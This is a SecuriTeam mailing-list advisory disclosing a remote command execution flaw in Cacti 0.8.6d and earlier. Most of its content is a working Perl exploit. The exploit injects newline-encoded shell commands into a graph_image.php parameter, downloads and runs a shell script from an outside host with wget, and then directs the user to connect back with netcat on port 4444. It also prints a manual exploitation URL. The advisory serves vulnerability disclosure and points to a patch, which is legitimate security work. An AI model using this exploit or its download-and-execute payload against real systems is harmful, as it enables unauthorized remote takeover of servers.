[EXPL] Cacti Remote Code Execution Vulnerability (Exploit)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

Cacti Remote Code Execution Vulnerability (Exploit)
------------------------------------------------------------------------

SUMMARY

" <http://www.rrdtool.org/> Cacti's goal is to be a complete front-end to
rrdtool, storing all of the necessary information to create graphs and
populate them with data in a MySQL database."

A remote execution vulnerability was found with Cacti that allow attackers
to execute arbitrary code on Cacti's server.

DETAILS

Vulnerable Systems:
* Cacti version 0.8.6d and prior

Exploit:
#!/usr/bin/perl
#
# Remote Command Execution Exploit for Cacti <= 0.8.6d
#
# This exploit open a remote shell on the targets that uses Cacti
# TARGET HOST MUST BE A GNU/LINUX SERVER, if not:
# manual exploiting --> http://www.example.com/cacti/graph_image.php?
local_graph_id= [valid_value]&graph_start=%0a[command]%0a
# Patch: download the last version http://www.cacti.net/download_cacti.php
# Discovered and Coded by Alberto Trivero

use LWP::Simple;

print "\n\t===============================\n";
print "\t= Exploit for Cacti <= 0.8.6d =\n";
print "\t= by Alberto Trivero =\n";
print "\t===============================\n\n";

if(@ARGV<2 or !($ARGV[1]=~m/\//)) {
print "Usage:\nperl $0 [target] [path]\n\nExamples:\nperl $0
www.example.com /cacti/\n";
exit(0);
}

$page=get("http://".$ARGV[0].$ARGV[1]."graph_view.php?action=list") || die
"[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
$page=~m/local_graph_id=(.*?)&/ || die "[-] Unable to retrieve a value for
local_graph_id";
print "[~] Sending exploiting request, wait for some
seconds/minutes...\n";
get("http://" . $ARGV[0] . $ARGV[1] . "graph_image.php?local_graph_id=$1"
"&graph_start=%0acd /tmp;wget
http://albythebest.altervista.org/shell.pl;chmod 777 shell.pl;perl
shell.pl%0a");
print "[+] Exploiting request done!\n";
print "[*] Now try on your box: nc -v $ARGV[0] 4444\n";

#EOF

ADDITIONAL INFORMATION

The information has been provided by <mailto:trivero@jumpy.it> Alberto
Trivero.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.